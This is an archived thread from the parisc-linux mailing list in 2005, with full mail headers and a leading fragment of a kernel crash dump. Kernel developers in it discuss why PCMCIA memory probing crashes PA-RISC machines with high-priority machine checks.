r20-23  ffd05800 ffd05800 ffd05800 00000060
r24-27  ffffffff 00000b4e 00000b4e 10413010
r28-31  00000000 00000000 10a242c0 00000000
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000011110000100000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  10a21a1810423894 10423a081017efec 49c5f780104e48c8 10a21a1810423894
fr08-11  fffffff410a09000 0000000000000000 000000001039ec1c 103a771000000001
fr12-15  0000000100000000 104dd0101016a184 10a21a1810a186e0 0000004d00030000
fr16-19  00000000104e5663 104e501000000000 10423b38104e48c8 0000004d49c5f780
fr20-23  104e48c800000002 10a090001016a2a4 00000fd8000007ec 000017c40000000a
fr24-27  00000000104e48c8 0000000210a09000 000000022fd11780 104e48c8104e5658
fr28-31  104e501000000400 10a2409c1017c774 10a2420a00000000 0000004d49c5f780

IASQ: 00000000 00000000 IAOQ: 1012787c 10127880
 IIR: e81f1f97    ISR: 1016a184  IOR: 10a21a18
 CPU:        0   CR30: 10a24000 CR31: 1047c000
 ORIG_R28: 0000004d
 IAOQ[0]: release_console_sem+0x64/0x114
 IAOQ[1]: release_console_sem+0x68/0x114
 RP(r2): release_console_sem+0x60/0x114
Whole cache flush 22670 cycles, flushing 4294896 bytes 606813 cycles
Setting cache flush threshold to 12a0 (1 CPUs online)
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xfff80000
Dino: No PCI devices enabled.
SCSI subsystem initialized
....and it continues....
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Mon, 05 Dec 2005 16:32:19 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <1133818340.3395.11.camel@mulgrave>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623944 17018 80.91.229.3 (22 Nov 2014 02:39:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:04 +0000 (UTC)
Cc: linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Russell King <rmk+pcmcia@arm.linux.org.uk>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Dec 2005 21:33:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 05 Dec 2005 22:33:11 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAFF57D663;
	Mon,  5 Dec 2005 14:33:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15047-06; Mon, 5 Dec 2005 14:33:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C82B7D665;
	Mon,  5 Dec 2005 14:33:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 979B37D662
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Dec 2005 14:32:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14704-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Dec 2005 14:32:57 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id CAF077D660
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Dec 2005 14:32:56 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	jB5LWL206075; Mon, 5 Dec 2005 16:32:22 -0500
In-Reply-To: <20051204103338.GA16791@flint.arm.linux.org.uk>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T9fmY09JeSEkOb6WZHQhaXN1IGRvb8Dt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23223

On Sun, 2005-12-04 at 10:33 +0000, Russell King wrote:
> On Sun, Dec 04, 2005 at 01:04:23AM -0500, Kyle McMartin wrote:
> > PCMCIA port and memory probing is broken on parisc, disabling both
> > allows the PCMCIA subsystem to work on parisc systems.
> 
> Do you know why it's broken?
> 
> The memory probing works by mapping the CIS into memory and then trying
> to read it.  If you're saying it's broken, that implies that we can't
> read the CIS, and therefore we can't use the addresses being probed.

On parisc, any read to a region that doesn't respond HPMCs (crashes) the
box.  PA also has separated I/O space, so most random I/O reads are of
non-responding regions.

My solution was simply to force the pcmcia subsystem not to probe and
instead believe the map we passed in from the pcmcia daemon.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk+pcmcia@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Mon, 5 Dec 2005 22:03:44 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <20051205220344.GJ15201@flint.arm.linux.org.uk>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623944 17019 80.91.229.3 (22 Nov 2014 02:39:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:04 +0000 (UTC)
Cc: linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Dec 2005 22:04:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 05 Dec 2005 23:04:05 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF2397D696;
	Mon,  5 Dec 2005 15:04:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15807-01; Mon, 5 Dec 2005 15:04:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 332AA7D680;
	Mon,  5 Dec 2005 15:03:59 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74DAD7D669
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Dec 2005 15:03:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15533-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Dec 2005 15:03:55 -0700 (MST)
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk
	[212.18.232.186])
	by free.linux.hp.com (Postfix) with ESMTP id 805937D667
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Dec 2005 15:03:55 -0700 (MST)
Original-Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.52) id 1EjOR1-0000yd-EF; Mon, 05 Dec 2005 22:03:47 +0000
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.52)
	id 1EjOQz-0001iy-7Z; Mon, 05 Dec 2005 22:03:45 +0000
Mail-Followup-To: James Bottomley <James.Bottomley@SteelEye.com>,
	Kyle McMartin <kyle@parisc-linux.org>,
	linux-pcmcia@lists.infradead.org, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1133818340.3395.11.camel@mulgrave>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AdzmY4VceSEkXr6WZHQhaXN1IGRvb8Ch
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23224

On Mon, Dec 05, 2005 at 04:32:19PM -0500, James Bottomley wrote:
> On Sun, 2005-12-04 at 10:33 +0000, Russell King wrote:
> > On Sun, Dec 04, 2005 at 01:04:23AM -0500, Kyle McMartin wrote:
> > > PCMCIA port and memory probing is broken on parisc, disabling both
> > > allows the PCMCIA subsystem to work on parisc systems.
> > 
> > Do you know why it's broken?
> > 
> > The memory probing works by mapping the CIS into memory and then trying
> > to read it.  If you're saying it's broken, that implies that we can't
> > read the CIS, and therefore we can't use the addresses being probed.
> 
> On parisc, any read to a region that doesn't respond HPMCs (crashes) the
> box.  PA also has separated I/O space, so most random I/O reads are of
> non-responding regions.

I don't have issue with the I/O side.  It's the memory side I'm
wondering about.

The probing code sets up a mapping to place the CIS at one of the
regions, and then tries to validate/read the CIS.  It then unmaps
it and maps it into the next place and repeats.  Hence, we're
reading data from the PCMCIA card after setting up various valid
mappings.

These mappings are not much different from the mappings which are
used to interpret the CIS data from the card after the memory
probing has completed.

Hence, if the memory probing is causing you issues, I'd be concerned
about the reliability of reading the CIS data from the card under
the non-probing scenarios.

Alternatively, maybe you've found a real bug somewhere in PCMCIA
which needs fixing...

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:  2.6 Serial core
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Mon, 05 Dec 2005 19:45:23 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <1133829923.3262.1.camel@mulgrave>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
	<20051205220344.GJ15201@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623944 17021 80.91.229.3 (22 Nov 2014 02:39:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:04 +0000 (UTC)
Cc: linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Russell King <rmk+pcmcia@arm.linux.org.uk>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Dec 2005 00:46:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 06 Dec 2005 01:46:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F3987D6A9;
	Mon,  5 Dec 2005 17:46:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16522-08; Mon, 5 Dec 2005 17:46:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B43BA7D6A2;
	Mon,  5 Dec 2005 17:46:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3C7F7D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Dec 2005 17:46:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16367-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Dec 2005 17:46:12 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 12BF77D69D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Dec 2005 17:46:12 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	jB60jO217042; Mon, 5 Dec 2005 19:45:24 -0500
In-Reply-To: <20051205220344.GJ15201@flint.arm.linux.org.uk>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CbrmYxAOeSEkX76WZHQhaXN1IGRvb0B2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23225

On Mon, 2005-12-05 at 22:03 +0000, Russell King wrote:
> I don't have issue with the I/O side.  It's the memory side I'm
> wondering about.

I'm sorry, by I/O reads I mean memory.  PA doesn't have any I/O port
cycles (except those which are generated in the busses via mmio
read/write sequences).

> The probing code sets up a mapping to place the CIS at one of the
> regions, and then tries to validate/read the CIS.  It then unmaps
> it and maps it into the next place and repeats.  Hence, we're
> reading data from the PCMCIA card after setting up various valid
> mappings.

Yes, that's what crashes.  Any memory probe to a non-responding address
on PA causes a high priority machine check.  This is what trips us up.
We have to explicitly list the responding regions in the config file.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Tue, 6 Dec 2005 01:14:58 -0700
Lines: 73
Approved: news@gmane.org
Message-ID: <20051206081458.GA16793@colo.lackof.org>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
	<20051205220344.GJ15201@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623945 17024 80.91.229.3 (22 Nov 2014 02:39:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:05 +0000 (UTC)
To: James Bottomley <James.Bottomley@SteelEye.com>,
 Kyle McMartin <kyle@parisc-linux.org>,
 linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Dec 2005 08:07:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 06 Dec 2005 09:07:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B8BA7D669;
	Tue,  6 Dec 2005 01:06:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18941-08; Tue, 6 Dec 2005 01:06:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D64087D66A;
	Tue,  6 Dec 2005 01:06:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12C2F7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Dec 2005 01:06:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18941-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Dec 2005 01:06:43 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 6541B7D650
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Dec 2005 01:06:43 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4B565360018;
	Tue,  6 Dec 2005 01:15:00 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17940-02; Tue, 6 Dec 2005 01:14:58 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C497F360014; Tue,  6 Dec 2005 01:14:58 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051205220344.GJ15201@flint.arm.linux.org.uk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8iPnY5pgeSEkQL6WZHQhaXN1IGRvbwDX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23226

On Mon, Dec 05, 2005 at 10:03:44PM +0000, Russell King wrote:
..
> I don't have issue with the I/O side.  It's the memory side I'm
> wondering about.
> 
> The probing code sets up a mapping to place the CIS at one of the
> regions,

How is the region selected? (ie please point me at the right code)

Is there some obvious document that explains my basic questions?
I'm happy to read to learn a bit more.  My ob600ct is still
here waiting for me to fix PCMCIA on it...*sigh*


If using IO port space, parisc can be very flexible as each PCI bus
essentially has it's own IO port space range.

But with MMIO space, routing is typically setup by firmware.
Each PCI bus controller will get one(*) region of MMIO space
routed to it by the chipset. Children of that PCI bus must use
MMIO addresses allocated from that region.

(*) I'm simplifying a bit here. The full explanation is more complex.
   But treating it like one region is sufficient in practice
   and for the purpose of this discussion.

>  and then tries to validate/read the CIS.  It then unmaps
> it and maps it into the next place and repeats.  Hence, we're
> reading data from the PCMCIA card after setting up various valid
> mappings.

Ok. More basic questions:
Why are we doing this? Is this a form of bus walk?

> These mappings are not much different from the mappings which are
> used to interpret the CIS data from the card after the memory
> probing has completed.

I'm not familiar with how CIS data is read from a PCMCIA device.
Normal PCI uses "Config Space". Is PCMCIA using MMIO space
for both CIS/device discovery and assigning MMIO space to
PCMCIA device registers?

> Hence, if the memory probing is causing you issues, I'd be concerned
> about the reliability of reading the CIS data from the card under
> the non-probing scenarios.

If PCMCIA is susceptible to write posting issues, then a
PCI-PCMCIA bridge on PARISC is likely to expose those issues.
ie timing of register writes are likely different.


> Alternatively, maybe you've found a real bug somewhere in PCMCIA
> which needs fixing...

That's possible. If PCMCIA is assigning MMIO addresses outside the
range routed down the PCI bus, the box will HPMC. The "PIM dump"
(CPU state when it HPMC'd) can tell which address the CPU failed
to access. So we should be able to determine if this is the case
or not pretty easily.

I don't have any PCI-PCMCIA adapters...so may have to wait until
james is home again and has an hour to poke at this again.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Tue, 06 Dec 2005 08:36:48 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <1133876209.3267.2.camel@mulgrave>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
	<20051205220344.GJ15201@flint.arm.linux.org.uk>
	<1133829923.3262.1.camel@mulgrave>
	<20051206093643.GA1706@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623945 17027 80.91.229.3 (22 Nov 2014 02:39:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:05 +0000 (UTC)
Cc: linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Russell King <rmk+pcmcia@arm.linux.org.uk>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Dec 2005 13:37:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 06 Dec 2005 14:37:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 323DB7D6D2;
	Tue,  6 Dec 2005 06:37:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22582-04; Tue, 6 Dec 2005 06:37:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69C5B7D6BD;
	Tue,  6 Dec 2005 06:37:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 840467D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Dec 2005 06:37:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
